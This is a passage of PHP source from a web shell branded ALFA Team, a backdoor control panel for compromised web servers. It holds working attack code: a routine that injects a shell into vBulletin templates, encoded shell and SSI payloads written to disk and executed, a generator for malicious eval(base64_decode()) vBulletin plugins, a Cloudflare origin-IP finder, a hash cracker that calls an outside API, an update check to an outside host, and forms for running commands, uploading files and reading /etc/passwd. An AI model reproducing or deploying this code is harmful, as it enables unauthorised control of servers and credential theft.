=\'".str_replace("\'","\\\'",$savetoass)."\' WHERE title =\'faq\'";\r\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\r\n$res = true;\r\n}\r\n@fclose($fsock);\r\n}\r\n}elseif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaCurl->Send($realurl.$realpath."/faq.php");\r\n$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".str_replace("\'","\\\'",$savetoass)."\' WHERE title =\'faq\'";\r\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\r\n$res = true;\r\n}\r\nif($res){\r\n$ff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\noutput($ff);\r\n}else{\r\n$ff = \'http://\'.$realurl.$realpath."/faq.php";\r\n$fff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\necho "<center><p><font color=\\"#FFFFFF\\">First Open This Link => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\\"#FFFFFF\\">Second Open This Link => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></center></p>";}}}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaupdatepath(){\r\n\tif($_POST[\'path\']!=\'\'){\r\n\t\t$_SESSION[__LAST_CWD__] = $_POST[\'path\'];\r\n\t}\r\n\techo($_SESSION[__LAST_CWD__]);\r\n}\r\nfunction alfacheckfiletype(){\r\n\t$path = $_POST[\'path\'];\r\n\t$arg = $_POST[\'arg\'];\r\n\tif(@is_file($path.\'/\'.$arg)){\r\n\t\techo("file");\r\n\t}else{\r\n\t\techo("dir");\r\n\t}\r\n}\r\nfunction alfacheckupdate(){\r\n\tif(!isset($_COOKIE[\'alfa_checkupdate\'])){\r\n\t\tif(function_exists("curl_version")){\r\n\t\t\t$update = new AlfaCURL();\r\n\t\t\t$json = $update->Send("http://solevisible.com/update.json");\r\n\t\t\t$json = @json_decode($json);\r\n\t\t\tif($json){\r\n\t\t\t\tif(__ALFA_VERSION__ != $json->version){\r\n\t\t\t\t\t@setcookie("alfa_checkupdate", "1", time()+86400);\r\n\t\t\t\t\techo(\'<div class="update-holder"><div class="update-partner"><div class="update-content"><div onClick="document.getElementsByClassName(\\\'update-holder\\\')[0].style.display = \\\'none\\\';" class="update-close">X</div><a href="\'.$json->url.\'" target="_blank">\'.$json->text.\'<br> Version: \'.$json->version.\'</a></div></div></div>\');\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfaWriteTocgiapi($name, $source){\r\n\t@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t@mkdir(\'alfacgiapi\',0755);\r\n\t__write_file("alfacgiapi/".$name, __get_resource($source));\r\n\t@chmod("alfacgiapi/".$name, 0755);\r\n}\r\nfunction alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}\r\nfunction alfaupdateheader(){\r\n\tif(!isset($_SESSION["updateheader_data"])){\r\n\t\t$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";\r\n\t\t$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\talfaWriteTocgiapi("getheader.alfa",$bash);\r\n\t\t$data = alfaEx("cd \'{$realdir}/alfacgiapi\';sh getheader.alfa",false,true,true);\r\n\t\tif(@is_array(@json_decode($data,true))){\r\n\t\t\t$_SESSION["updateheader_data"] = $data;\r\n\t\t\techo $data;\r\n\t\t}\r\n\t}else{\r\n\t\techo $_SESSION["updateheader_data"];\r\n\t}\r\n}\r\nfunction alfassiShell(){\r\nalfahead();\r\necho \'<div class=header>\';\r\n@mkdir(\'alfa_shtml\',0755);\r\n@chdir(\'alfa_shtml\');\r\nalfacgihtaccess(\'shtml\');\r\n$code = \'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==\';\r\n@__write_file(\'alfa_ssi.shtml\',__get_resource($code));\r\n@chmod("alfa_ssi.shtml",0755);\r\necho AlfaiFrameCreator(\'alfa_shtml/alfa_ssi.shtml\');\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacloudflare(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4,3);\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Cloud Flare ByPasser |</div><br><form action=\'\' onsubmit=\\"g(\'cloudflare\',null,this.url.value,\'>>\'); return false;\\" method=\'post\'>\r\n<p><div class=\'txtfont\'>Target:</div> <input type=\'text\' size=30 name=\'url\' style=\'text-align:center;\' placeholder=\\"target.com\\"> <input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";\r\nif($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){\r\n$url = $_POST[\'alfa1\'];\r\nif(!preg_match(\'/^(https?):\\/\\/(w{3}|w3)\\./i\', $url)){\r\n$url = preg_replace(\'/^(https?):\\/\\//\', \'\', $url);\r\n$url = "http://www.".$url;\r\n}\r\n$headers = @get_headers($url, 1);\r\n$server = $headers[\'Server\'];\r\n$subs = array(\'owa.\',\'2tty.\',\'m.\',\'gw.\',\'mx1.\',\'store.\',\'1\',\'2\',\'vb.\',\'news.\',\'download.\',\'video\',\'cpanel.\', \'ftp.\', \'server1.\', \'cdn.\', \'cdn2.\', \'ns.\', \'ns3.\', \'mail.\', \'webmail.\', \'direct.\', \'direct-connect.\', \'record.\', \'ssl.\', \'dns.\', \'help.\', \'blog.\', \'irc.\', \'forum.\', \'dl.\', \'my.\', \'cp.\', \'portal.\', \'kb.\', \'support.\',\'search.\', \'docs.\', \'files.\', \'accounts.\', \'secure.\', \'register.\', \'apps.\', \'beta.\', \'demo.\', \'smtp.\', \'ns2.\', \'ns1.\', \'server.\', \'shop.\', \'host.\', \'web.\', \'cloud.\', \'api.\', \'exchange.\', \'app.\', \'vps.\', \'owa.\', \'sat.\', \'bbs.\', \'movie.\', \'music.\', \'art.\', \'fusion.\', \'maps.\', \'forums.\', \'acc.\', \'cc.\', \'dev.\', \'ww42.\', \'wiki.\', \'clients.\', \'client.\',\'books.\',\'answers.\',\'service.\',\'groups.\',\'images.\',\'upload.\',\'up.\',\'tube.\',\'users.\',\'admin.\',\'administrator.\',\'private.\',\'design.\',\'whmcs.\',\'wp.\',\'wordpress.\',\'joomla.\',\'vbulletin.\',\'test.\',\'developer.\',\'panel.\',\'contact.\');\r\nif(preg_match(\'/^(https?):\\/\\/(w{3}|w3)\\./i\', $url, $matches)){\r\nif($matches[2] != \'www\'){$url = preg_replace(\'/^(https?):\\/\\//\', \'\', $url);}else{\r\n$url = explode($matches[0], $url);\r\n$url = $url[1];}}\r\nif(is_array($server))$server = $server[0];\r\necho __pre();\r\nif(preg_match(\'/cloudflare/i\', $server))\r\necho "\\n[+] CloudFlare detected: {$server}\\n<br>";\r\nelse\r\necho "\\n[+] CloudFlare wasn\'t detected, proceeding anyway.\\n";\r\necho \'[+] CloudFlare IP: \' . is_ipv4(gethostbyname($url)) . "\\n\\n<br><br>";\r\necho "[+] Searching for more IP addresses.\\n\\n<br><br>";\r\nfor($x=0;$x<count($subs);$x++){\r\n$site = $subs[$x] . $url;\r\n$ip = is_ipv4(gethostbyname($site));\r\nif($ip == \'(Null)\')\r\ncontinue;\r\necho "Trying {$site}: {$ip}\\n<br>";\r\n}\r\necho "\\n[+] Finished.\\n<br>";\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction is_ipv4($ip){\r\nreturn filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : \'(Null)\';\r\n}\r\nfunction __alert($s){\r\necho \'<center>\'.__pre().$s.\'</center>\';\r\n}\r\nfunction create_table($data){\r\necho \'<table border="1">\';\r\nforeach ($data as $key => $val){\r\n$array = array();\r\nforeach($val as $k => $v){\r\n$array[$k] = $v;\r\n}\r\necho "<tr><td><div class=\'tbltxt\'>".$array[\'tdName\']."</div></td><td><input type=\'text\' id=\'".$array[\'id\']."\' name=\'".$array[\'inputName\']."\' ".($array[\'placeholder\']?\'placeholder\':\'value\')."=\'".$array[\'inputValue\']."\' size=\'".$array[\'inputSize\']."\' ".($array[\'disabled\']?\'disabled\':\'\')."></td></tr>";\r\n}\r\necho \'</table>\';\r\n}\r\nfunction alfaphp2xml(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4,3);\r\necho "<div class=header><center><p><div class=\'txtfont_header\'>| Shell For vBulletin |</div></p><form onsubmit=\\"g(\'php2xml\',null,this.code.value,\'>>\'); return false;\\" method=\'post\'>\r\n<p><br><textarea rows=\'12\' cols=\'70\' type=\'text\' name=\'code\' placeholder=\\"insert your shell code\\"></textarea><br/><br/>\r\n<input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";\r\nif($_POST[\'alfa2\']&&$_POST[\'alfa2\']==\'>>\'){\r\necho __pre()."<p><center><textarea rows=\'10\' name=\'users\' cols=\'80\'>";\r\necho \'<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\\\'PHP_SELF\\\'],"subscriptions.php")){eval(base64_decode(\\\'\'.__ZW5jb2Rlcg($_POST[\'alfa1\']).\'\\\'));exit;}]]></phpcode></plugin></plugins>\';\r\necho \'</textarea></center></p>\';\r\n}\r\necho \'</center></div>\';\r\nalfafooter();\r\n}\r\nfunction alfacpcrack(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'cpcrack\\\',null,\\\'dec\\\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\\\'cpcrack\\\',null,\\\'analyzer\\\')">| Hash Analyzer | </a></h3></center>\';\r\nif($_POST[\'alfa1\']==\'dec\'){\r\n$algorithms = array(\'md5\'=>\'MD5\',\'md4\'=>\'MD4\',\'sha1\'=>\'SHA1\',\'sha256\'=>\'SHA256\',\'sha384\'=>\'SHA384\',\'sha512\'=>\'SHA512\',\'ntlm\'=>\'NTLM\');\r\necho \'<center><div class="txtfont_header">| DeCrypter |</div><br><br>\r\n<form onsubmit="g(\\\'cpcrack\\\',null,\\\'dec\\\',this.md5.value,\\\'>>\\\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">\';\r\nforeach($algorithms as $key=>$val){echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');}\r\necho\'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';\r\nif($_POST[\'alfa3\'] == \'>>\'){\r\n$hash = $_POST[\'alfa2\'];\r\nif(!empty($hash)){\r\n$hash_type = $_POST[\'alfa4\'];\r\n$email = "solevisible@gmail.com";\r\n$code = "7b9fa79f92c3cd96";\r\n$target = "http://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;\r\n$resp = @file_get_contents($target);\r\nif($resp==\'\'){\r\n$get = new AlfaCURL();\r\n$resp = $get->Send($target);\r\n}\r\necho __pre().\'<center>\';\r\nswitch($resp){\r\n\tcase(\'CODE ERREUR : 001\'):echo "<b><font color=\'red\'>You exceeded the 400 allowed request per day</font></b>";break;\r\n\tcase(\'CODE ERREUR : 003\'):echo "<b><font color=\'red\'>Your request includes more than 400 hashes.</font></b>";break;\r\n\tcase(\'CODE ERREUR : 004\'):echo "<b><font color=\'red\'>The type of hash you provide in the argument hash_type doesn\'t seem to be valid</font></b>";break;\r\n\tcase(\'CODE ERREUR : 005\'):echo "<b><font color=\'red\'>The hash you provide doesn\'t seem to match with the type of hash you set.</font></b>";break;\r\n}\r\nif(substr($resp,0,4)!=\'CODE\'&&$resp!=\'\'){\r\necho "<b>Result: <font color=\'green\'>".$resp."</font></b>";\r\n}elseif(substr($resp,0,4)!=\'CODE\'){\r\necho "<font color=\'red\'>NoT Found</font><br />";\r\n}\r\necho(\'</center>\');\r\n}\r\n}\r\n}\r\nif($_POST[\'alfa1\']==\'analyzer\'){\r\necho \'<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>\r\n<form onsubmit="g(\\\'cpcrack\\\',null,\\\'analyzer\\\',this.hash.value,\\\'>>\\\');return false;">\r\n<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';\r\nif($_POST[\'alfa3\'] == \'>>\'){\r\n$hash = $_POST[\'alfa2\'];\r\nif(!empty($hash)){\r\n$curl = new AlfaCURL();\r\n$resp = $curl->Send("http://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");\r\necho(__pre().\'<center>\');\r\nif(preg_match(\'#<fieldset class="trouve">(.*?)</fieldset>#\',$resp,$s)){\r\n\techo(\'<font color="green">\'.$s[1].\'</font>\');\r\n}else{\r\n\techo(\'<font color="red">Not Found...!</font>\');\r\n}\r\necho(\'</center><br>\');\r\n}\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfafooter(){\r\nif(!isset($_POST[\'ajax\'])){\r\necho "<table class=\'foot\' width=\'100%\' border=\'0\' cellspacing=\'3\' cellpadding=\'0\' >\r\n<tr>\r\n<td width=\'17%\'><form onsubmit=\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'mkfile\',\'\',\'\',\'\',\'file\');this.f.value=\'\';return false;\\"><span class=\'footer_text\'>Make File : </span><br><input class=\'dir\' type=\'text\' name=\'f\' value=\'\'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'21%\'><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);this.d.value=\'\';return false;\\"><span class=\'footer_text\'>Make Dir : </span><br><input class=\'dir\' type=\'text\' name=\'d\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'22%\'><form onsubmit=\\"g(\'FilesMan\',null,\'delete\',this.del.value);this.del.value=\'\';return false;\\"><span class=\'footer_text\'>Delete : </span><br><input class=\'dir\' type=\'text\' name=\'del\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'19%\'><form onsubmit=\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'chmod\',\'\',\'\',\'\',\'none\');this.f.value=\'\';return false;\\"><span class=\'footer_text\'>Chmod : </span><br><input class=\'dir\' type=text name=f value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'2\'><form onsubmit=\'g(\\"FilesMan\\",this.c.value,\\"\\");return false;\'><span class=\'footer_text\'>Change Dir : </span><br><input class=\'foottable\' id=\'footer_cwd\' type=\'text\' name=\'c\' value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'> <input type=\'submit\' value=\' \'></form></td>\r\n<td colspan=\'2\'><form onsubmit=\\"editor(this.file.value,\'auto\',\'\',\'\',\'\',\'file\');return false;\\"><span><span class=\'footer_text\'>Read File : </span></span><br><input class=\'foottable\' type=\'text\' name=\'file\' value=\'/etc/passwd\'> <input type=\'submit\' value=\' \'></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'4\'><form onsubmit=\\"g(\'proc\',null,this.c.value);this.c.value=\'\';return false;\\"><span><span class=\'footer_text\'>Execute :</span><br><input class=\'foottable\' type=\'text\' name=\'c\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'4\'><form onsubmit=\'u(this);return false;\' name=\'footer_form\' method=\'post\' ENCTYPE=\'multipart/form-data\'>\r\n<input type=\'hidden\' name=\'a\' value=\'FilesMAn\'>\r\n<input type=\'hidden\' name=\'c\' value=\'" . $GLOBALS[\'cwd\'] ."\'>\r\n<input type=\'hidden\' name=\'alfa1\' value=\'uploadFile\'>\r\n<input type=\'hidden\' name=\'charset\' value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n<span class=\'footer_text\'>Upload file: </span><span><button id=\'addup\' onclick=\'addnewup();return false;\'><b>+</b></button></span><p id=\'pfooterup\'><label class=\'inputfile\' for=\'footerup\'><span id=\'__fnameup\'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id=\'footerup\' class=\'toolsInp\' type=\'file\' name=\'f[]\' onChange=\'handleup(this,0);\'></p><input type=\'submit\' name=\'submit\' value=\' \'></form><br><span class=\'copyright\'>[ ./AlfaTeam &copy; 2012-".date(\'Y\')." ]</span></td>\r\n</tr>\r\n</table>\r\n</div>\r\n<div id=\'cgiloader\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"cgiloader\\");\'></div><div onClick=\'editorClose(\\"cgiloader\\");\' class=\'close-button\'></div></div></div><div id=\'cgiframe\' style=\'margin-left:14px;margin-right:30px;\'></div></div></div>\r\n<div id=\'editor\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'editor-path\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"editor\\");\'></div><div onClick=\'editorClose(\\"editor\\");\' class=\'close-button\'></div></div></div><div class=\'editor-explorer\'><div class=\'hheader\'><div class=\'history-clear\' onclick=\'clearEditorHistory();\'>Clear all</div><div class=\'hheader-text\'>History</div><div class=\'editor-search\'><input type=\'text\' style=\'text-align:center;\' id=\'search-input\' placeholder=\'search\'></div></div><div class=\'history-list\'></div></div><div class=\'editor-modal\'><div class=\'editor-body\'><div class=\'editor-content\'></div></div></div></div></div>\r\n<div id=\'update-content\'></div>\r\n<div id=\'editor-minimized\' onclick=\'showEditor(\\"editor\\");\'><div class=\'minimized-wrapper\'><div class=\'minimized-text\'>Show Editor</div></div></div>\r\n<div id=\'cgiloader-minimized\' onclick=\'showEditor(\\"cgiloader\\");\'><div class=\'minimized-wrapper\'><div class=\'minimized-text\'>Show Cgi</div></div></div>\r\n<script>\r\n\t$(\'search-input\').addEventListener(\'keydown\', function(e){\r\n\t\tsetTimeout(function(){\r\n\t\t\tvar string = $(\'search-input\').value\r\n\t\t\td.getElementsByClassName(\'history-list\')[0].innerHTML = \'\';\r\n\t\t\tfor(var i in editor_files){\r\n\t\t\t\tif(editor_files[i].file.search(string) != -1 || string == \'\'){\r\n\t\t\t\t\tvar mode = 0;\r\n\t\t\t\t\tif(i == editor_current_file){\r\n\t\t\t\t\t\tmode = \' is_active\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tinsertToHistory(i, editor_files[i].file, mode, editor_files[i].type);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}, 100);\r\n\t},false);\r\n\t_Ajax(d.URL, \'a=\'+alfab64(\'checkupdate\'), function(res){\r\n\t\td.body.insertAdjacentHTML(\'beforeend\', res);\r\n\t});\r\n\tif(".$GLOBALS["need_to_update_header"]."){\r\n\t\t_Ajax(d.URL, \'a=\'+alfab64(\'updateheader\'), function(res){\r\n\t\t\ttry{\r\n\t\t\t\tvar data = JSON.parse(res);\r\n\t\t\t\tconsole.log(data);\r\n\t\t\t\tfor(var i in data){\r\n\t\t\t\t\tvar html = \'\';\r\n\t\t\t\t\tfor(var b = 0; b < data[i].length; b++){\r\n\t\t\t\t\t\tif(i==\'useful\'||i==\'downloader\'){\r\n\t\t\t\t\t\t\thtml += \'<span class=\\"header_values\\" style=\\"margin-left: 4px;\\">\'+data[i][b]+\'</span>\';\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\thtml += data[i][b];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tvar elem = $(\'header_\'+i);\r\n\t\t\t\t\tif(elem){elem.innerHTML = html;}\r\n\t\t\t\t}\r\n\t\t\t\t$(\'header_cgishell\').innerHTML = \'ON\';\r\n\t\t\t\t$(\'header_cgishell\').setAttribute(\'class\', \'header_on\');\r\n\t\t\t}catch(e){console.log(e)}\r\n\t\t});\r\n\t}else if(islinux){\r\n\t\t_Ajax(d.URL, \'a=\'+alfab64(\'checkcgi\'), function(res){\r\n\t\t\tif(res==\'ok\'){\r\n\t\t\t\t$(\'header_cgishell\').innerHTML = \'ON\';\r\n\t\t\t\t$(\'header_cgishell\').setAttribute(\'class\', \'header_on\');\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n</script>\r\n</body>\r\n</html>\r\n";\r\n}}\r\nif (!function_exists("posix_getpwuid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getpwuid\')===false)) {\r\nfunction posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getgrgid\')===false)) {\r\nfunction posix_getgrgid($p) {return false;} }\r\nfunction alfaWhich($p) {\r\n$path = alfaEx(\'which \' . $p,false,false);\r\nif(!empty($path))\r\nreturn strlen($path);\r\nreturn false;\r\n}\r\nfunction alfaSize($s) {\r\nif($s >= 1073741824)\r\nreturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\nelseif($s >= 1048576)\r\nreturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\nelseif($s >= 1024)\r\nreturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\nelse\r\nreturn $s . \' B\';\r\n}\r\nfunction alfaPerms($p) {\r\nif (($p & 0xC000) == 0xC000)$i = \'s\';\r\nelseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\nelseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\nelseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\nelseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\nelseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\nelseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\nelse $i = \'u\';\r\n$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\nreturn $i;\r\n}\r\nfunction alfaPermsColor($f,$isbash=false){\r\n$class = "";\r\n$num = "";\r\n$human = "";\r\nif($isbash){\r\n$class = $f["class"];\r\n$num = $f["num"];\r\n$human = $f["human"];\r\n}else{\r\n$num = substr(sprintf(\'%o\', @fileperms($f)),-4);\r\n$human = alfaPerms(@fileperms($f));\r\nif(!@is_readable($f))\r\n$class = "main_red_perm";\r\nelseif (!@is_writable($f))\r\n$class = "main_white_perm";\r\nelse\r\n$class = "main_green_perm";\r\n}\r\nreturn \'<span style="font-weight:unset;" class="\'.$class.\'">\'.$num.\'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="\'.$class.\'">\'.$human.\'</span>\';\r\n}\r\nif(!function_exists("scandir")) {\r\nfunction scandir($dir) {\r\n$dh = opendir($dir);\r\nwhile (false !== ($filename = readdir($dh)))\r\n$files[] = $filename;\r\nreturn $files;\r\n}\r\n}\r\nfunction reArrayFiles($file_post){\r\n$file_ary = array();\r\n$file_count = count($file_post[\'name\']);\r\n$file_keys = array_keys($file_post);\r\nfor ($i=0; $i<$file_count; $i++) {\r\nforeach ($file_keys as $key) {\r\n$file_ary[$i][$key] = $file_post[$key][$i];\r\n}\r\n}\r\nreturn $file_ary;\r\n}\r\nfunction _alfa_can_runCommand($cgi=true,$cache=true){\r\n\tif(isset($_SESSION["alfa_canruncmd"])&&$cache){\r\n\t\treturn true;\r\n\t}\r\n\tif(strlen(alfaEx("whoami",false,$cgi))>0){\r\n\t\t$_SESSION["alfa_canruncmd"] = true;\r\n\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}\r\nfunction _alfa_symlink($target, $link){\r\n\t$phpsym = function_exists("symlink");\r\n\tif($phpsym){\r\n\t\t@symlink($target, $link);\r\n\t}else{\r\n\t\talfaEx("ln -s \'".addslashes($target)."\' \'".addslashes($link)."\'");\r\n\t}\r\n}\r\nfunction _alfa_file_exists($file,$cgi=true){\r\n\tif(@file_exists($file)){\r\n\t\treturn true;\r\n\t}else{\r\n\t\tif(strlen(alfaEx("ls -la \'".addslashes($file)."\'",false,$cgi))>0){\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\nfunction _alfa_file($file,$cgi=true){\r\n\t$array = @file($file);\r\n\tif(!$array){\r\n\t\tif(strlen(alfaEx("id",false,$cgi))>0){\r\n\t\t\t$data = alfaEx(\'cat "\'.addslashes($file).\'"\',false,$cgi);\r\n\t\t\tif(strlen($data)>0){\r\n\t\t\t\treturn explode("\\n", $data);\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}else{\r\n\t\treturn $array;\r\n\t}\r\n}\r\nfunction _alfa_is_writable($file){\r\n\t$check = false;\r\n\t$check = @is_writable($file);\r\n\tif(!$check){\r\n\t\tif(_alfa_can_runCommand()){\r\n\t\t\t$check = alfaEx(\'[ -w "\'.trim(addslashes($file)).\'" ] && echo "yes" || echo "no"\');\r\n\t\t\tif($check == "yes"){\r\n\t\t\t\t$check = true;\r\n\t\t\t}else{\r\n\t\t\t\t$check = 